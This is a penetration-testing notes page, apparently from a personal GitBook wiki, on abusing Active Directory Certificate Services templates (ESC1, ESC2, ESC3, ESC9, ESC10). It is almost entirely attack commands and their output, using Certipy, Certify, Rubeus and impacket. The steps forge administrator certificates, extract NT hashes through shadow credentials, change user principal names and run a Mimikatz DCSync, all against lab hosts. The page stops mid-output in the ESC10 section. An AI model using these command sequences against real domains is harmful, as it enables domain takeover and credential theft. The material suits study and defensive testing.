Intrusionz3r0
HacktheboxTwitter
  • Welcome
  • Windows Penetration Testing
    • Enumeration
    • Credentials Attacks On Windows
    • Kerberos
    • Abuse ACLS
    • Common Attacks
    • Abuse Tokens
    • Kerberos “Double Hop”
    • Privileged Groups
    • Defense Evasion
    • Active Directory Certificate Services
    • Windows Persistence
    • Privilege Escalation
    • Trust Enumeration and Attacks
    • Windows Lateral Movement
    • Powershell Cheetsheet
    • Microsoft Exchange and Office
  • Linux Penetration Testing
    • Linux Active directory
    • Tools
    • Privilege Groups
    • Post Exploitation
    • Privilege Escalation
      • Sudo Privilege escalation
      • Writable .service files
      • Wildcard on compression binaries
      • Path Abuse
      • Capabilities
      • Exploit Logrotate
      • Weak NFS Privileges
      • Hijacking Tmux Sessions
      • Shared Libraries
      • Shared Object Hijacking
      • Python Library Hijacking
      • Linux Enumeration
    • Stealing Linux Credentials
    • Critical Vulnerabilities
    • Upgrading TTY
    • Process monitoring
    • Miscellaneous
    • Escape Restricted Shell
  • Malware Development
    • Malware Development Essentials
    • Code Snippets
    • Malware Development Intermediate
  • Social Engineering
  • Portforwarding and tunneling
  • File Transfer Techniques
  • Password Attacks
  • Enumeration
    • Network Enumeration
    • (OSINT) Active Enumeration
    • (OSINT) Passive Enumeration
    • [22] SSH
    • [21] FTP
    • [25,465,587] SMTP
    • [53] DNS Enumeration
    • [80 443] HTTP HTTPS
    • [110,143,993,995] IMAP/POP3 Enumeration
    • [111,2049] Network File System
    • [139,445] SMB Enumeration
    • [161] SNMP
    • [512,513,514] R-Services
    • [623] IPMI
    • [873] Rsync
    • [1433] MSSQL
    • [1521] Oracle TNS
    • [3389] Remote Desktop Protocol (RDP)
    • [5985/5986] WinRM
    • [3306] Mysql
    • [513] Rlogin
  • Hacking Web
    • Methodology
    • Vulnerabilities
      • SQL Injection
      • Cross Site Scripting (XSS)
      • File path traversal/Local File Inclusion
      • File Upload Attacks
      • Denial of Service
      • Command Injection
      • Insecure Direct Object Reference (IDOR)
      • XML External Entity (XXE) Injection
      • Web Mass Assignment Vulnerabilities
      • Log4Shell Exploitation Guide
      • Authentication
      • Business Vulnerabilities
      • Access control vulnerabilities
      • Server-Side Request Forgery (SSRF)
      • Cross-site request forgery (CSRF)
      • Cross-origin resource sharing (CORS)
      • Clickjacking
      • DOM-based vulnerabilities
      • JWT vulnerabilities
      • Password reset poisoning
    • Web Tech Detection viaa Tokens, Headers & Cookies
    • Burpsuite through SOCKS5
    • Bypass 403 - Forbidden
  • OSINT
  • Common Applications
    • Gitlab
    • Splunk
    • Tomcat
    • Joomla
    • Microsoft Internet Information Services (IIS)
    • Nagios XI
    • Wordpress
    • Drupal
    • Tomcat CGI
    • osTicket
    • Attacking Thick Client Applications
    • PRTG Network Monitor
    • Jenkins
    • ColdFusion
    • WebLogic
    • Grafana
    • Umbraco
  • Containers Pentesting
  • C2 Command and Control
    • Sliver
    • Cobalt Strike
    • Mythic
    • Havoc
  • Report Templates
  • Anonymity Guide
  • Labs
    • Vulnlabs
      • Baby
      • Trusted (Chain)
      • Retro
      • Retro2
      • Hybrid (Chain)
      • Baby2
      • Breach
      • Sendai
      • Sweep
      • Delegate
      • Redelegate
      • Media
      • Bruno
      • Cicada
      • Lustrous2
      • Tengu (Chain)
      • Reflection (Chain)
      • Tea (Chain)
      • Heron (Chain)
      • Lustrous (Chain)
      • Kaiju (Chain)
      • Intercept (Chain)
      • Sidecar (Chain)
      • Vigilant (Chain)
      • Job
      • Job2
      • Puppet (Chain)
      • Mythical (Chain)
      • Push (Chain)
Powered by GitBook
On this page
  • Enumeration
  • how to Install Certipy-ad
  • Download BloodHound Forked
  • Common Error Messages
  • Abusing Certificate Templates
  • ESC1
  • ESC2
  • ESC3
  • ESC9
  • ESC10
  • Abusing CA Configuration
  • ESC6
  • Abusing Access Control
  • ESC4
  • ESC5 (Compromise CA Server)
  • ESC7
  • NTLM Relay
  • ESC8
  • ESC11
  • ESC13
  • Miscellaneous ADCS Attacks
  • Certifried (CVE-2022-26923)
  • PKINIT
  1. Windows Penetration Testing

Active Directory Certificate Services

PreviousDefense EvasionNextWindows Persistence

Last updated 1 month ago

Enumeration

One indicative factor of an ADCS installation is the presence of the built-in Cert Publishers group. This group typically authorizes Certificate Authorities to publish certificates to the directory, often indicating the presence of an ADCS server. That means that the ADCS server will be a member of this group.

Certify.exe typically fetches credentials from the current context session, which can be convenient or problematic based on scenarios requiring specific user privileges.

#Querying Cert Publishers group membership
CS C:\\Tools> net localgroup "Cert Publishers"

# Find vulnerable templates
PS C:\Tools> .\Certify.exe find /vulnerable

#Identify if there are ADCS servers in the Domain 
Intrusionz3r0@htb[/htb]$ netexec ldap 10.129.205.199 -u "blwasp" -p "Password123!" -M adcs

how to Install Certipy-ad

#Certipy
Intrusionz3r0@htb[/htb]$ sudo apt install certipy-ad || pip3 install certipy-ad
Intrusionz3r0@htb[/htb]$ certipy-ad find -u 'raven' -p 'R4v3nBe5tD3veloP3r!123' -dc-ip 10.10.11.236 -vulnerable -stdout

Download BloodHound Forked

#Download forked version
Intrusionz3r0@htb[/htb]$ wget -q https://github.com/ly4k/BloodHound/releases/download/v4.2.0-ly4k/BloodHound-linux-x64.zip
#unzip file
Intrusionz3r0@htb[/htb]$ unzip BloodHound-linux-x64.zip

#Extracted files
Intrusionz3r0@htb[/htb]$ cd BloodHound-linux-x64/
Intrusionz3r0@htb[/htb]$ ./BloodHound --no-sandbox

#Certipy for BloodHound 
Intrusionz3r0@htb[/htb]$ certipy find -u 'blwasp@lab.local' -p 'Password123!' -dc-ip 10.129.205.199 -bloodhound

Common Error Messages

Error Name
Description

CERTSRV_E_TEMPLATE_DENIED

The permissions on the certificate template do not allow the current user to enroll

KDC_ERR_INCONSISTENT_KEY_PURPOSE

Certificate cannot be used for PKINIT client authentication

KDC_ERROR_CLIENT_NOT_TRUSTED

Reserved for PKINIT. Try to authenticate to another DC

KDC_ERR_PADATA_TYPE_NOSUPP

KDC has no support for padata type. CA might be expired

Abusing Certificate Templates

ESC1

Requirements:

  • Enrollment Rights: LAB.LOCAL\\Domain Users

  • Requires Manager Approval: False.

  • Authorized Signature Required: 0.

  • Client Authentication: True or Extended Key Usage Client Authentication.

  • Enrollee Supplies Subject: True.

Output Example

Template Name                       : ESC1
    Display Name                        : ESC1
    Certificate Authorities             : lab-LAB-DC-CA
    Enabled                             : True
    Client Authentication               : True
    Enrollment Agent                    : False
    Any Purpose                         : False
    Enrollee Supplies Subject           : True
    Certificate Name Flag               : EnrolleeSuppliesSubject
    Enrollment Flag                     : PublishToDs
                                          IncludeSymmetricAlgorithms
    Private Key Flag                    : ExportableKey
    Extended Key Usage                  : Client Authentication
                                          Secure Email
                                          Encrypting File System
    Requires Manager Approval           : False
    Requires Key Archival               : False
    Authorized Signatures Required      : 0
    Validity Period                     : 99 years
    Renewal Period                      : 6 weeks
    Minimum RSA Key Length              : 2048
    Permissions
      Enrollment Permissions
        Enrollment Rights               : LAB.LOCAL\Domain Admins
                                          LAB.LOCAL\Domain Users
                                          LAB.LOCAL\Enterprise Admins
      Object Control Permissions
        Owner                           : LAB.LOCAL\Administrator
        Write Owner Principals          : LAB.LOCAL\Domain Admins
                                          LAB.LOCAL\Enterprise Admins
                                          LAB.LOCAL\Administrator
        Write Dacl Principals           : LAB.LOCAL\Domain Admins
                                          LAB.LOCAL\Enterprise Admins
                                          LAB.LOCAL\Administrator
        Write Property Principals       : LAB.LOCAL\Domain Admins
                                          LAB.LOCAL\Enterprise Admins
                                          LAB.LOCAL\Administrator
    [!] Vulnerabilities
      ESC1                              : 'LAB.LOCAL\\Domain Users' can enroll, enrollee supplies subject and template allows client authentication

Linux Exploitation

#Find Vulnerabilities on ADCS
Intrusionz3r0@htb[/htb]$ certipy-ad find -u 'blwasp@lab.local' -p 'Password123!' -dc-ip 10.129.205.199 -vulnerable -stdout
#Certificate Request with alternative SAN
Intrusionz3r0@htb[/htb]$ certipy-ad req -u 'BlWasp@lab.local' -p 'Password123!' -dc-ip 10.129.205.199 -ca lab-LAB-DC-CA -template ESC1 -upn Administrator
#Retrieve Certificate Authentication
Intrusionz3r0@htb[/htb]$ certipy-ad auth -pfx administrator.pfx -dc-ip 10.129.228.236 -username Administrator -domain lab.local
#Authenticate using wmiexec
KRB5CCNAME=administrator.ccache impacket-wmiexec -k -no-pass LAB-DC.LAB.LOCAL

Windows Exploitation

#Find ESC1 Vulnerable Template
PS C:\\Tools> Get-ADObject -LDAPFilter '(&(objectclass=pkicertificatetemplate)(!(mspki-enrollment-flag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-ra-signature=*)))(|(pkiextendedkeyusage=1.3.6.1.4.1.311.20.2.2)(pkiextendedkeyusage=1.3.6.1.5.5.7.3.2) (pkiextendedkeyusage=1.3.6.1.5.2.3.4))(mspki-certificate-name-flag:1.2.840.113556.1.4.804:=1))' -SearchBase 'CN=Configuration,DC=lab,DC=local'
#Find Vulneravble Template witg Certipy
PS C:\Tools> .\Certify.exe find /vulnerable
#Certificate Request with alternative SAN
PS C:\\Tools> .\Certify.exe request /ca:<domain>\\lab-LAB-DC-CA /template:ESC1 /altname:administrator@lab.local
#Convert the cert to .pfx
PS C:\\Tools> & "C:\\Program Files\\OpenSSL-Win64\\bin\\openssl.exe" pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx
#Using Rubeus retrieve the NT hash based on the certificate
PS C:\\Tools> .\Rubeus.exe asktgt /user:administrator /certificate:cert.pfx /getcredentials /nowrap

Now we have two options to use the output provided by Rubeus: we can use the NT Hash with any of our preferred tools or use the TGT base64(ticket.kirbi) to get a session as the Administrator. Let's use the ticket with Rubeus.


#Create a Sacrificial Logon Session with Rubeus
PS C:\\Tools> .\\Rubeus.exe createnetonly /program:powershell.exe /show
#Import Base64 Ticket into the PowerShell session using Rubeus
PS C:\\Tools> .\\Rubeus.exe ptt /ticket:doIGQjCCBj6gAwIBBaEDAgEW<SNIP>
#DCSync Attack
PS C:\\Tools> Set-ExecutionPolicy Bypass -Scope CurrentUser -Force
PS C:\\Tools> Import-Module .\\Invoke-Mimikatz.ps1
PS C:\\Tools> Invoke-Mimikatz -Command '"lsadump::dcsync /user:lab\\Administrator"'

Note: If you get an error: The NETBIOS connection with the remote host timed out, just try again.

ESC2

Requirements:

  • Enrollment Rights: LAB.LOCAL\\Domain Users.

  • Requires Manager Approval : False

  • Authorized Signature Required: 0 (no additional approvals required).

  • EKU: Any Purpose

Output example

Template Name                       : ESC2
    Display Name                        : ESC2
    Certificate Authorities             : lab-LAB-DC-CA
    Enabled                             : True
    Client Authentication               : True
    Enrollment Agent                    : True
    Any Purpose                         : True
    Enrollee Supplies Subject           : True
    Certificate Name Flag               : EnrolleeSuppliesSubject
    Enrollment Flag                     : PublishToDs
                                          IncludeSymmetricAlgorithms
    Private Key Flag                    : ExportableKey
    Extended Key Usage                  : Any Purpose
    Requires Manager Approval           : False
    Requires Key Archival               : False
    Authorized Signatures Required      : 0
    Validity Period                     : 99 years
    Renewal Period                      : 6 weeks
    Minimum RSA Key Length              : 2048
    Permissions
      Enrollment Permissions
        Enrollment Rights               : LAB.LOCAL\Domain Admins
                                          LAB.LOCAL\Domain Users
                                          LAB.LOCAL\Enterprise Admins
      Object Control Permissions
        Owner                           : LAB.LOCAL\Administrator
        Write Owner Principals          : LAB.LOCAL\Domain Admins
                                          LAB.LOCAL\Enterprise Admins
                                          LAB.LOCAL\Administrator
        Write Dacl Principals           : LAB.LOCAL\Domain Admins
                                          LAB.LOCAL\Enterprise Admins
                                          LAB.LOCAL\Administrator
        Write Property Principals       : LAB.LOCAL\Domain Admins
                                          LAB.LOCAL\Enterprise Admins
                                          LAB.LOCAL\Administrator
    [!] Vulnerabilities
      ESC2                              : 'LAB.LOCAL\\Domain Users' can enroll and template can be used for any purpose
      

Linux Exploitation

#Certificate Request with alternative SAN
Intrusionz3r0@htb[/htb]$ certipy req -u 'BlWasp@lab.local' -p 'Password123!' -ca lab-LAB-DC-CA -template ESC2 -upn Administrator
#Retrieve Certificate Authentication
Intrusionz3r0@htb[/htb]$ certipy auth -pfx administrator.pfx -username administrator -domain lab.local -dc-ip 10.129.205.199

Windows Exploitation

#Enumerate Vulnerable Templeates
PS C:\\Tools> .\Certify.exe find /vulnerable
#Search for ESC2 Vulnerabilities
PS C:\\Tools> Get-ADObject -LDAPFilter '(&(objectclass=pkicertificatetemplate)(!(mspki-enrollment-flag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-ra-signature=*)))(|(pkiextendedkeyusage=2.5.29.37.0)(!(pkiextendedkeyusage=*))))' -SearchBase 'CN=Configuration,DC=lab,DC=local'
#Request a certificate
PS C:\\Tools> .\Certify.exe request /ca:LAB-DC.lab.local\\lab-LAB-DC-CA /template:ESC2 /altname:administrator@lab.local
#Convert Certificate to .pfx
PS C:\\Tools> & "C:\\Program Files\\OpenSSL-Win64\\bin\\openssl.exe" pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx
#Use rubeous to .\retrive NTLM
PS C:\\Tools> .\Rubeus.exe asktgt /user:administrator /certificate:cert.pfx /getcredentials /nowrap

Now we have two options to use the output provided by Rubeus: we can use the NT Hash with any of our preferred tools or use the TGT base64(ticket.kirbi) to get a session as the Administrator.

ESC3

pkiextendedkeyusage and mspki-certificate-application-policy; if the values of these fields is Certificate Request Agent

it is crucial to request a certificate from a template that allows Client Authentication in its EKUs.

Condition 1:

  • Enrollment Rights: LAB.LOCAL\\Domain Users.

  • Requires Manager Approval : False

  • Authorized Signature Required: 0 (no additional approvals required).

  • The Extended Key Usage includes Certificate Request Agent

Output:

Template Name                       : ESC3
    Display Name                        : ESC3
    Certificate Authorities             : lab-LAB-DC-CA
    Enabled                             : True
    Client Authentication               : False
    Enrollment Agent                    : True
    Any Purpose                         : False
    Enrollee Supplies Subject           : False
    Certificate Name Flag               : SubjectRequireDirectoryPath
                                          SubjectRequireEmail
                                          SubjectAltRequireEmail
                                          SubjectAltRequireUpn
    Enrollment Flag                     : AutoEnrollment
                                          PublishToDs
                                          IncludeSymmetricAlgorithms
    Private Key Flag                    : ExportableKey
    
    Requires Manager Approval           : False
    Requires Key Archival               : False
    Authorized Signatures Required      : 0
    Validity Period                     : 99 years
    Renewal Period                      : 6 weeks
    Minimum RSA Key Length              : 2048
    Permissions
      Enrollment Permissions
        Enrollment Rights               : LAB.LOCAL\Domain Admins
                                          LAB.LOCAL\Domain Users
                                          LAB.LOCAL\Enterprise Admins
      Object Control Permissions
        Owner                           : LAB.LOCAL\Administrator
        Write Owner Principals          : LAB.LOCAL\Domain Admins
                                          LAB.LOCAL\Enterprise Admins
                                          LAB.LOCAL\Administrator
        Write Dacl Principals           : LAB.LOCAL\Domain Admins
                                          LAB.LOCAL\Enterprise Admins
                                          LAB.LOCAL\Administrator
        Write Property Principals       : LAB.LOCAL\Domain Admins
                                          LAB.LOCAL\Enterprise Admins
                                          LAB.LOCAL\Administrator
    [!] Vulnerabilities
      ESC3                              : 'LAB.LOCAL\\Domain Users' can enroll and template has Certificate Request Agent EKU set

Exploitation on Linux

#Request a certificate
Intrusionz3r0@htb[/htb]$ certipy req -u 'blwasp@lab.local' -p 'Password123!' -ca 'lab-LAB-DC-CA' -template 'ESC3'
[*] Saved certificate and private key to 'blwasp.pfx'

#Requesting a certificate on behalf of the Administrator account (We can use the built-in User template)
Intrusionz3r0@htb[/htb]$ certipy req -u 'blwasp@lab.local' -p 'Password123!' -ca lab-LAB-DC-CA -template 'User' -on-behalf-of 'lab\administrator' -pfx blwasp.pfx

Exploitation on Windows

To identify condition 1 of the ESC3 vulnerability, pay attention to these two fields:

pkiextendedkeyusage: Certificate Request Agent

mspki-certificate-application-policy: Certificate Request Agent.

#Requeste certificate
PS C:\Tools> .\Certify.exe request /ca:LAB-DC.lab.local\lab-LAB-DC-CA /template:ESC3

#Convert Certificate
PS C:\Tools> & "C:\Program Files\OpenSSL-Win64\bin\openssl.exe" pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx

#Request Certificate on behalf of Administrator
PS C:\Tools> .\Certify.exe request /ca:LAB-DC.lab.local\lab-LAB-DC-CA /template:User /onbehalfof:LAB\Administrator /enrollcert:cert.pfx

ESC9

To successfully abuse this misconfiguration, specific prerequisites must be met:

  1. The StrongCertificateBindingEnforcement registry key should not be set to 2 (by default, it is set to 1), or the CertificateMappingMethods should contain the UPN flag (0x4). Regrettably, as a low-privileged user, accessing and reading the values of these registry keys is typically unattainable.

  2. The certificate template must incorporate the CT_FLAG_NO_SECURITY_EXTENSION flag within the msPKI-Enrollment-Flag value.

  3. The certificate template should explicitly specify client authentication as its purpose.

  4. The attacker must possess at least the GenericWrite privilege against any user account (account A) to compromise the security of any other user account (account B).

Output:

Template Name                       : ESC9
    Display Name                        : ESC9
    Certificate Authorities             : lab-LAB-DC-CA
    Enabled                             : True
   
    Enrollment Agent                    : False
    Any Purpose                         : False
    Enrollee Supplies Subject           : False
    Certificate Name Flag               : SubjectRequireDirectoryPath
                                          SubjectRequireEmail
                                          SubjectAltRequireEmail
                                          SubjectAltRequireUpn
    
                                          AutoEnrollment
                                          PublishToDs
                                          IncludeSymmetricAlgorithms
    Private Key Flag                    : ExportableKey
    Extended Key Usage                  : Client Authentication
                                          Secure Email
                                          Encrypting File System
    Requires Manager Approval           : False
    Requires Key Archival               : False
    Authorized Signatures Required      : 0
    Validity Period                     : 99 years
    Renewal Period                      : 6 weeks
    Minimum RSA Key Length              : 2048
    Permissions
      Enrollment Permissions
        Enrollment Rights               : LAB.LOCAL\Domain Admins
                                          LAB.LOCAL\Domain Users
                                          LAB.LOCAL\Enterprise Admins
      Object Control Permissions
        Owner                           : LAB.LOCAL\Administrator
        Write Owner Principals          : LAB.LOCAL\Domain Admins
                                          LAB.LOCAL\Enterprise Admins
                                          LAB.LOCAL\Administrator
        Write Dacl Principals           : LAB.LOCAL\Domain Admins
                                          LAB.LOCAL\Enterprise Admins
                                          LAB.LOCAL\Administrator
        Write Property Principals       : LAB.LOCAL\Domain Admins
                                          LAB.LOCAL\Enterprise Admins
                                          LAB.LOCAL\Administrator
    [!] Vulnerabilities
      ESC9                              : 'LAB.LOCAL\\Domain Users' can enroll and template has no security extension

The ESC9 template has the value msPKI-Enrollment-Flag for the CT_FLAG_NO_SECURITY_EXTENSION flag; this is implied from the NoSecurityExtension value of the Enrollment Flag field

Compromise on Linux

Mission:

  • Target: Compromise User3

  • Pivot User with FullControl Permission: User2 (GenericAll)

#Verify FullControl permission on Pivot User
Intrusionz3r0@htb[/htb]$ impacket-dacledit -action read -dc-ip 10.129.119.82 lab.local/blwasp:Password123! -principal blwasp -target user2 2>/dev/null
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Parsing DACL
[*] Printing parsed DACL
[*] Filtering results for SID (S-1-5-21-2570265163-3918697770-3667495639-1103)
[*]   ACE[24] info                
[*]     ACE Type                  : ACCESS_ALLOWED_ACE
[*]     ACE flags                 : CONTAINER_INHERIT_ACE, INHERITED_ACE, OBJECT_INHERIT_ACE
[*]     Access mask               : FullControl (0xf01ff)
[*]     Trustee (SID)             : blwasp (S-1-5-21-2570265163-3918697770-3667495639-1103)

We can accomplish this using Password Reset or Shadow Credentials. The advantage of using Shadow Credentials is that we do not have to affect the user by changing their password.

#Retrieve user2 NT Hash via Shadow Credentials
Intrusionz3r0@htb[/htb]$ certipy-ad shadow auto -u 'BlWasp@lab.local' -p 'Password123!' -account user2 -dc-ip 10.129.119.82
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Targeting user 'user2'
[*] Generating certificate
[*] Certificate generated
[*] Generating Key Credential
[*] Key Credential generated with DeviceID '1d5c57e1-9a8b-83f3-940c-cabfbb1cf7af'
[*] Adding Key Credential with device ID '1d5c57e1-9a8b-83f3-940c-cabfbb1cf7af' to the Key Credentials for 'user2'
[*] Successfully added Key Credential with device ID '1d5c57e1-9a8b-83f3-940c-cabfbb1cf7af' to the Key Credentials for 'user2'
[*] Authenticating as 'user2' with the certificate
[*] Using principal: user2@lab.local
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'user2.ccache'
[*] Trying to retrieve NT hash for 'user2'
[*] Restoring the old Key Credentials for 'user2'
[*] Successfully restored the old Key Credentials for 'user2'
[*] NT hash for 'user2': ee22ddf0f8a66db4217050e6a948f9d6

#Change user2 UPN to user3
Intrusionz3r0@htb[/htb]$ certipy-ad account update -u 'BlWasp@lab.local' -p 'Password123!' -user user2 -upn user3@lab.local -dc-ip 10.129.119.82

[*] Certificate has no object SID indicate that no objectSID is provided, and thus, no strong mapping will be performed. which means we successfully obtained a certificate for user3.

#Request vulnerable certipy with user2
Intrusionz3r0@htb[/htb]$ certipy-ad req -u 'user2@lab.local' -hashes ee22ddf0f8a66db4217050e6a948f9d6 -ca lab-LAB-DC-CA -template ESC9 -dc-ip 10.129.119.82
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Requesting certificate via RPC
[*] Successfully requested certificate
[*] Request ID is 63
[*] Got certificate with UPN 'user3@lab.local'
[*] Certificate has no object SID
[*] Saved certificate and private key to 'user3.pfx'

#Revert the above change
Intrusionz3r0@htb[/htb]$ certipy-ad account update -u 'BlWasp@lab.local' -p 'Password123!' -user user2 -upn user2@lab.local -dc-ip 10.129.119.82

Compromise on Windows

Mission:

  • Target: Compromise User3

  • Pivot User with FullControl Permission: User2

#Enumerate ESC9 from Windows
PS C:\Tools> .\Certify.exe find

#Registry Query for StrongCertificateBindingEnforcement
PS C:\Tools> reg query HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Kdc

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Kdc
    DependOnService    REG_MULTI_SZ    RpcSs\0Afd\0NTDS
    Description    REG_SZ    @%SystemRoot%\System32\kdcsvc.dll,-2
    DisplayName    REG_SZ    @%SystemRoot%\System32\kdcsvc.dll,-1
    ErrorControl    REG_DWORD    0x1
    Group    REG_SZ    MS_WindowsRemoteValidation
    ImagePath    REG_EXPAND_SZ    %SystemRoot%\System32\lsass.exe
    ObjectName    REG_SZ    LocalSystem
    Start    REG_DWORD    0x2
    Type    REG_DWORD    0x20
    StrongCertificateBindingEnforcement    REG_DWORD    0x0

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Kdc\Parameters
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Kdc\Security

#Registry Query for CertificateMappingMethods
PS C:\Tools> reg query HKLM\System\CurrentControlSet\Control\SecurityProviders\Schannel\

HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SecurityProviders\Schannel
    EventLogging    REG_DWORD    0x1
    CertificateMappingMethods    REG_DWORD    0x4

HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SecurityProviders\Schannel\Ciphers
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SecurityProviders\Schannel\CipherSuites
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SecurityProviders\Schannel\Hashes
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SecurityProviders\Schannel\KeyExchangeAlgorithms
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SecurityProviders\Schannel\Protocols

Now we have to identify our pivot user with FullControl (GenericAll). You can use Bloodhound or PowerView.

PS C:\Tools> Set-ExecutionPolicy Bypass -Scope CurrentUser -Force
PS C:\Tools> Import-Module .\PowerView.ps1
PS C:\Tools> $blwasp=(Get-DomainUser -Identity blwasp)
PS C:\Tools> Get-DomainObjectAcl -LDAPFilter "(&(objectClass=user)(objectCategory=person))" -ResolveGUIDs | ? {($_.ActiveDirectoryRights -contains "GenericAll" -or $_.ActiveDirectoryRights -contains "GenericWrite") -and $_.SecurityIdentifier -eq $blwasp.objectsid}
#Change User password
PS C:\Tools> Set-DomainUserPassword -Identity user2 -AccountPassword $((ConvertTo-SecureString 'Newpassword123!' -AsPlainText -Force)) -Verbose

#Change User Principal name
PS C:\Tools> Set-DomainObject user2 -Set @{'userPrincipalName'='user3@lab.local'} -Verbose

Now you have to get a session as you pivot user and request the certificate.

#Request a Certificate using ESC9 and alternative SAN user3
PS C:\Tools> .\Certify.exe request /ca:LAB-DC.lab.local\lab-LAB-DC-CA /template:ESC9 /altname:user3
#Convert pem to pfx
PS C:\Tools> & "C:\Program Files\OpenSSL-Win64\bin\openssl.exe" pkcs12 -in .\user3.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out user3.pfx
#Retrieving a TGT as user3
PS C:\Tools> .\Rubeus.exe asktgt /user:user3 /certificate:user3.pfx /getcredentials /nowrap

ESC10

Case 1: StrongCertificateBindingEnforcement is 0x0

To successfully abuse this misconfiguration, specific prerequisites must be met:

  1. The StrongCertificateBindingEnforcement registry key is set to 0, indicating that no strong mapping is performed. It's important to note that this value will only be considered if the April 2023 updates have yet to be installed.

  2. At least one template specifies that client authentication is enabled (e.g., the built-in User template).

  3. We have at least GenericWrite rights for account A, allowing us to compromise account B.

In case we don't know if the registry key StrongCertificateBindingEnforcement is set 0x0 or not, we need to try the attack to identify if it is vulnerable or not.

impacket-reg 'lab'/'Administrator':'Password123!'@10.129.119.82 query -keyName 'HKLM\SYSTEM\CurrentControlSet\Services\Kdc' 2>/dev/null
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Service RemoteRegistry is in stopped state
[*] Starting service RemoteRegistry
HKLM\SYSTEM\CurrentControlSet\Services\Kdc
	DependOnService	REG_MULTI_SZ	RpcSsAfdNTDS
	Description	REG_SZ	@%SystemRoot%\System32\kdcsvc.dll,-2
	DisplayName	REG_SZ	@%SystemRoot%\System32\kdcsvc.dll,-1
	ErrorControl	REG_DWORD	0x1
	Group	REG_SZ	MS_WindowsRemoteValidation
	ImagePath	REG_EXPAND_SZ	%SystemRoot%\System32\lsass.exe
	ObjectName	REG_SZ	LocalSystem
	Start	REG_DWORD	0x2
	Type	REG_DWORD	0x20
	StrongCertificateBindingEnforcement	REG_DWORD	0x0
HKLM\SYSTEM\CurrentControlSet\Services\Kdc\Parameters
HKLM\SYSTEM\CurrentControlSet\Services\Kdc\Security
[*] Stopping service RemoteRegistry
[-] SCMR SessionError: code: 0x41b - ERROR_DEPENDENT_SERVICES_RUNNING - A stop control has been sent to a service that other running services are dependent on.

#Identify our User pivoting
❯ impacket-dacledit -action read -dc-ip 10.129.119.82 lab.local/Administrator:Password123! -principal blwasp -target user2 2>/dev/null
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Parsing DACL
[*] Printing parsed DACL
[*] Filtering results for SID (S-1-5-21-2570265163-3918697770-3667495639-1103)
[*]   ACE[24] info                
[*]     ACE Type                  : ACCESS_ALLOWED_ACE
[*]     ACE flags                 : CONTAINER_INHERIT_ACE, INHERITED_ACE, OBJECT_INHERIT_ACE
[*]     Access mask               : FullControl (0xf01ff)
[*]     Trustee (SID)             : blwasp (S-1-5-21-2570265163-3918697770-3667495639-1103)

#Retrieve pivot user NT Hash via Shadow Credentials
❯ certipy-ad shadow auto -u 'BlWasp@lab.local' -p 'Password123!' -account user2 -dc-ip 10.129.119.82
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Targeting user 'user2'
[*] Generating certificate
[*] Certificate generated
[*] Generating Key Credential
[*] Key Credential generated with DeviceID '1bda521d-62cb-aead-f4f6-8f23af39864b'
[*] Adding Key Credential with device ID '1bda521d-62cb-aead-f4f6-8f23af39864b' to the Key Credentials for 'user2'
[*] Successfully added Key Credential with device ID '1bda521d-62cb-aead-f4f6-8f23af39864b' to the Key Credentials for 'user2'
[*] Authenticating as 'user2' with the certificate
[*] Using principal: user2@lab.local
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'user2.ccache'
[*] Trying to retrieve NT hash for 'user2'
[*] Restoring the old Key Credentials for 'user2'
[*] Successfully restored the old Key Credentials for 'user2'
[*] NT hash for 'user2': 912ff342d4b3fb30e49de35d51f4b3be

#Change user2 UPN to Administrator
❯ certipy-ad account update -u 'BlWasp@lab.local' -p 'Password123!' -user user2 -upn administrator@lab.local -dc-ip 10.129.119.82
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Updating user 'user2':
    userPrincipalName                   : administrator@lab.local
[*] Successfully updated 'user2'

#Request certificate using User template
Intrusionz3r0@htb[/htb]$ certipy-ad  req -u 'user2@lab.local' -hashes 912ff342d4b3fb30e49de35d51f4b3be -ca lab-LAB-DC-CA -template User -dc-ip 10.129.119.82
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Requesting certificate via RPC
[*] Successfully requested certificate
[*] Request ID is 71
[*] Got certificate with UPN 'administrator@lab.local'
[*] Certificate object SID is 'S-1-5-21-2570265163-3918697770-3667495639-1192'
[*] Saved certificate and private key to 'administrator.pfx'

#Revert Changes
Intrusionz3r0@htb[/htb]$ certipy-ad account update -u 'BlWasp@lab.local' -p 'Password123!' -user user2 -upn user2@lab.local -dc-ip 10.129.119.82
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Updating user 'user2':
    userPrincipalName                   : user2@lab.local
[*] Successfully updated 'user2'

#Retrive NT Hash of Administrator Acco
❯ certipy-ad  auth -pfx administrator.pfx -domain lab.local
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Using principal: administrator@lab.local
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'administrator.ccache'
[*] Trying to retrieve NT hash for 'administrator'
